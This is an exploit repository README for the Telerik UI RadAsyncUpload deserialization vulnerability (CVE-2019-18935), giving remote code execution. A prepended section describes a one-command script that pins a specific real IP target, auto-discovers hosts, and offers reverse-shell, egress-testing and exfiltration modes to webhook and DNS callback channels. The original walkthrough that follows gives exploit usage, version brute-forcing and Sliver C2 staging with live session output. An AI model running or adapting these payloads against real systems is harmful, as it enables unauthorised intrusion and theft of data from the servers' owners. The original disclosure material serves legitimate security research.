Proof-of-concept exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX allowing remote code execution.
Everything is wired into a single script, run.sh, plus prebuilt payloads in
payloads/ (x86 + amd64, committed so no compiler is needed on the Mac).
git clone https://github.com/raiyanlabs/cve && cd cve
chmod +x run.sh
# ONE COMMAND — finds the target, finds the version, proves RCE:
./run.shThat's it. ./run.sh auto-discovers everything and prints a big
SUCCESS — CVE-2019-18935 CONFIRMED (RCE) banner the moment the
sleep-payload deserialization makes the target pause ~10s.
How it self-configures:
- DISCOVER — builds a candidate list (a pinned URL, the known target
125.18.164.11:82, plus local/VPN interface IPs on common web ports) and probes each for theRadAsyncUploadhandler until one answers. - VERSIONS — brute-forces the known-vulnerable Telerik versions (newest
first) with the read-only
RAU_cryptoupload until one is accepted. - EXPLOIT — uploads the
sleepmixed-mode DLL, triggers deserialization, and times the response. ≥8s → SUCCESS banner.
Optional one-liner variants:
./run.sh http://125.18.164.11:82 # pin the target, skip discovery
./run.sh check # just confirm the handler
./run.sh versions # handler + version discovery
./run.sh shell # ...then fire the reverse shell
REV_HOST=<c2-ip> REV_PORT=4444 ./run.sh shell
C2_URL="https://webhook.site/<uuid>" ./run.sh egress # is egress even open?
C2_URL="https://webhook.site/<uuid>" ./run.sh exfil # fire + auto-pull
./run.sh writemap # writable AND served dirs
DNS_DOMAIN="<x>.oast.pro" C2_URL="..." ./run.sh exfil # DNS fallback channelegress is the oracle: it uploads a probe DLL that TCP-connects to your
receiver and to 1.1.1.1:443 / 8.8.8.8:53, sleeping 6 s per reachable
endpoint. ~6–18 s means outbound works; 0–5 s means it is filtered. Judge
payload execution by that, not by the InvalidCastException page — that error
page is the exploit working.
exfil re-derives everything: it writes the receiver config to the fixed path
C:\Windows\Temp\c2.txt, proves egress first, fires, then polls and reassembles
for you. Loot also lands in C:\Windows\Temp\exfil.log, and is copied into any
DROPS='<dir>' you pass.
Payloads must be rebuilt for each attempt — AssemblyInstaller resolves
assemblies by identity, and the identity carries the filename, so re-triggering
the same DLL file is a no-op while the worker process lives. run.sh tracks
fired payloads in .fired and warns.
If it doesn't confirm, it tells you exactly what to try next (other
architecture ARCH=amd64/x86, or another VERSION=).
| What you see after the trigger | Meaning |
|---|---|
InvalidCastException … AssemblyInstaller … IAsyncUploadConfiguration, ~0.2 s |
success — the payload assembly loaded and DllMain ran; the cast fails because the object is the gadget, not the config type |
BadImageFormatException |
wrong arch (this target is x86) |
FileNotFoundException / DirectoryNotFoundException |
the remote filename or folder is wrong |
FileLoadException |
assembly loaded but its dependencies (e.g. VC++ runtime) are missing |
| 8–10 s pause | the sleep payload actually slept |
A run can therefore be RCE-confirmed and still produce no loot — that is an
egress or config problem, not an exploit problem. The exfil payload now writes
C:\Windows\Temp\exfil.log on every attempt; writemap/DROPS can pull it out.
A GitHub Actions job (.github/workflows/build-dlls.yml) rebuilds and re-commits
the payloads on any change to the C sources, using MSVC on a Windows runner.
The rest of this file is the original Bishop Fox walkthrough.
Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. For more information, see:
- The DerpCon talk .NET Roulette (slides) which details extra fundamentals about exploiting insecure deserialization, applies that to this exploit, and walks through some tips and tricks for getting shells on ASP.NET web applications.
- The full write-up at Bishop Fox, including a complete walkthrough of this vulnerability and exploit details for this issue (along with patching instructions).
You'll need Visual Studio and .NET Framework SDK installed to compile mixed-mode .NET assembly DLL payloads using build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txtThis exploit leverages encryption logic from RAU_crypto. The RAUCipher class within RAU_crypto.py depends on PyCryptodome, a drop-in replacement for the dead PyCrypto module. PyCryptodome and PyCrypto create problems when installed in the same environment, so the best way to satisfy this dependency is to install the module within a virtual environment, as shown above.
Point line 17 of build-dll.bat to the path of your Visual Studio installation.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Some payloads (e.g., reverse-shell.c and sliver-stager.c) require you to set the HOST and PORT fields to point to your C2 server—be sure to do that!
In a Windows environment with Visual Studio installed, use build-dll.bat to generate 32- and 64-bit mixed mode assembly DLLs to be used as a payload during deserialization. You may optionally specify a target CPU architecture as a second CLI argument (e.g., x86).
build-dll.bat sleep.cPass the DLL generated above to CVE-2019-18935.py, which will upload the DLL to a directory on the target server (provided that the web server has write permissions in that directory) and then load that DLL into the application via the insecure deserialization exploit.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
In the example above, the application took at least 10 seconds to respond, indicating that the DLL payload successfully invoked Sleep(10000).
As detailed in the DerpCon talk .NET Roulette (39:46), we can brute-force the Telerik UI version by specifying only the major version of the Telerik.Web.UI assembly (i.e., the 2017 portion of the full version string 2017.2.503.40) when uploading a file. This technique drastically reduces the search space when compared to brute-forcing each specific release of this software—and, as an added benefit, it can even detect versions that aren't explicitly listed in the release history for this software. Learn more about .NET assembly versioning on MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
The custom Sliver stager payload sliver-stager.c receives and executes Sliver shellcode (the stage) from the Sliver server (the staging server), following Metasploit's staging protocol. For more details on how this works, read the header in the payload source.
Start Sliver server. More info on server setup here.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-serverOpen C2 endpoint (we're using an mTLS listener here, but you can also use HTTP or DNS) on Sliver server, create an implant profile, and create a staging listener linked to that profile. More info on staged payloads here. Note that we're not generating a Sliver stager using generate stager as Sliver's documentation suggests; we're instead using our custom sliver-stager.c.
new-profile command's --arch flag.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Set the host and port in the Sliver stager source to point to the Sliver server (showing an example server below).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Compile the Sliver stager payload, and upload the payload to the target and load it into the application (all according to the preceding Usage sections in this README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
If all goes well (have you troubleshat this target?), you'll see a session created in your Sliver server window that you can use to interact with the target.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
- Each payload only works once—the .NET
AssemblyInstallerclass cannot load multiple .NET assemblies having the same assembly name (different from a filename). You'll need to compile and upload a new one each time you want the target to sleep, call back, etc. - Ensure you're targeting the right CPU architecture (32- or 64-bit). This may take some guesswork; the sleep payload is useful here.
- Beware egress filtering rules on the target network when trying to initiate a reverse TCP connection back to your C2 server. Choose a commonly allowed TCP port, like 443.
Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
@mwulftange initially discovered this vulnerability. @bao7uo wrote all of the logic for breaking RadAsyncUpload encryption, which enabled manipulating the file upload configuration object in rauPostData and subsequently exploiting insecure deserialization of that object. @lesnuages wrote the first iteration of the Sliver stager payload.
- 28 Jul 2021: CISA | Top Routinely Exploited Vulnerabilities
- 20 Oct 2020: NSA | Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities
- 19 Jun 2020: ACSC | Copy-Paste Compromises – tactics, techniques and procedures used to target multiple Australian networks
- 22 May 2020: ACSC | RCE vulnerability being actively exploited in vulnerable versions of Telerik UI by sophisticated actors
- HackerOne Report #1174185 (@un4gi)
- HackerOne Report #838196 (@sw33tLie)
- HackerOne Report #913695 (@un4gi)
- Add payload to upload and execute Sliver implant
- Adjust C payload to optionally run a single command, rather than opening an interactive shell
- Modify the assembly name of already compiled DLL to avoid recompiling for the same target
- Demonstrate brute-forcing major Telerik UI versions (i.e., the year portion of the version string)
This project is licensed under the Apache License.
